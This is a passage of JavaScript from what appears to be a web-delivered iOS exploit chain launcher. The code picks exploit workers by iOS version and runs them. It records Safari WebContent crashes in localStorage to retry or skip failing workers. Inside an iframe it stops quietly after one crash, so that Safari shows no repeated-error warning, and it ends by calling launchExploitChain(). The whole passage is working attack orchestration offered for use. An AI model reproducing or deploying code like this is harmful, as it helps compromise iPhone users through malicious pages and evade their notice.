print('jit_warmup ok'); } catch (e) {} const chain = worker_plan.length ? worker_plan : workerFallbackChain(ios_version); // If WebContent jetsam/crashed mid-worker, the page reloads before stage1_failed. // Detect in-flight worker from prior load and skip it for ~2 minutes. // Use localStorage so skip survives iframe recreate (sessionStorage is wiped). try { var inflight = localStorage.getItem('__ds_inflight_worker') || ''; var its = parseInt(localStorage.getItem('__ds_inflight_ts') || '0', 10) || 0; if (inflight && its && (Date.now() - its) < 45000) { var crashCountKey = '__ds_crash_count_' + inflight; var crashCnt = (parseInt(localStorage.getItem(crashCountKey) || '0', 10) || 0) + 1; localStorage.setItem(crashCountKey, String(crashCnt)); var inIframe = false; try { inIframe = !!(window.parent && window.parent !== window); } catch (_) { inIframe = true; } // 嵌在 index iframe:WC 崩一次就停,禁止同 worker 重试(否则 Safari 弹「重复出现问题」) if (inIframe) { print( 'detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — stop (iframe, no retry)', true ); try { window.parent.postMessage( { type: 'ds-wc-crash', worker: inflight, count: crashCnt, progress: 42, }, '*' ); } catch (_) {} try { localStorage.removeItem('__ds_inflight_worker'); localStorage.removeItem('__ds_inflight_ts'); } catch (_) {} return; } // First mid-worker crash (often early aar/w jetsam) — retry same worker. // Only skip after 2 crashes within the window so we don't jump to missing fallbacks. if (crashCnt >= 2) { var skipRaw = localStorage.getItem('__ds_skip_workers') || '[]'; var skipArr = []; try { skipArr = JSON.parse(skipRaw) || []; } catch (_) { skipArr = []; } if (skipArr.indexOf(inflight) < 0) skipArr.push(inflight); localStorage.setItem('__ds_skip_workers', JSON.stringify(skipArr)); localStorage.setItem('__ds_crash_mid_' + inflight, String(Date.now())); print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — skip on retry', true); } else { print('detected WebContent crash mid ' + inflight + ' x' + crashCnt + ' — retry same worker', true); } } localStorage.removeItem('__ds_inflight_worker'); localStorage.removeItem('__ds_inflight_ts'); } catch (_) {} function workerSkipped(file) { try { var t = parseInt(localStorage.getItem('__ds_crash_mid_' + file) || '0', 10) || 0; if (t && (Date.now() - t) < 120000) return true; var arr = JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || []; return arr.indexOf(file) >= 0; } catch (_) { return false; } } print('launch chain: ' + chain.join(' ? ') + ' @ ' + host + (chain_target.ghostwave ? ' [GhostWave]' : '') + (grade ? ' grade=' + grade : '')); // Crash-skip must not discard the only runnable worker (common on 18.6 lab: only 18.6.js exists). var runnable = []; for (let wi0 = 0; wi0 < chain.length; wi0++) { if (!workerSkipped(chain[wi0])) runnable.push(chain[wi0]); } if (!runnable.length) { print('crash-skip would exhaust chain — clearing skip, retry primary', true); try { for (let ci = 0; ci < chain.length; ci++) { localStorage.removeItem('__ds_crash_mid_' + chain[ci]); } localStorage.setItem('__ds_skip_workers', '[]'); } catch (_) {} runnable = chain.slice(); } for (let wi = 0; wi < runnable.length; wi++) { const candidate = runnable[wi]; if (workerSkipped(candidate) && runnable.length > 1) { print('skip ' + candidate + ' (prior WebContent crash)', true); continue; } if (workerSkipped(candidate) && runnable.length === 1) { print('retry ' + candidate + ' despite prior crash (sole worker)', true); } const code = await resolveWorkerCode(candidate); if (!code || code.length < workerMinBytes(candidate)) { print('worker ' + candidate + ' unavailable (' + (code ? code.length : 0) + ' bytes)'); continue; } if (wi > 0) print('worker fallback -> ' + candidate); try { localStorage.setItem('__ds_inflight_worker', candidate); localStorage.setItem('__ds_inflight_ts', String(Date.now())); } catch (_) {} const ok = await runWorkerAttempt(code, candidate); try { localStorage.removeItem('__ds_inflight_worker'); localStorage.removeItem('__ds_inflight_ts'); if (ok) { localStorage.removeItem('__ds_crash_mid_' + candidate); localStorage.removeItem('__ds_crash_count_' + candidate); var left = (JSON.parse(localStorage.getItem('__ds_skip_workers') || '[]') || []).filter(function (x) { return x !== candidate; }); localStorage.setItem('__ds_skip_workers', JSON.stringify(left)); } } catch (_) {} if (ok) return; if (wi + 1 < runnable.length) { print('retrying with ' + runnable[wi + 1], true); } } print('fatal: all workers exhausted for iOS ' + (ios_version ? ios_version.join('.') : '?'), true); } launchExploitChain();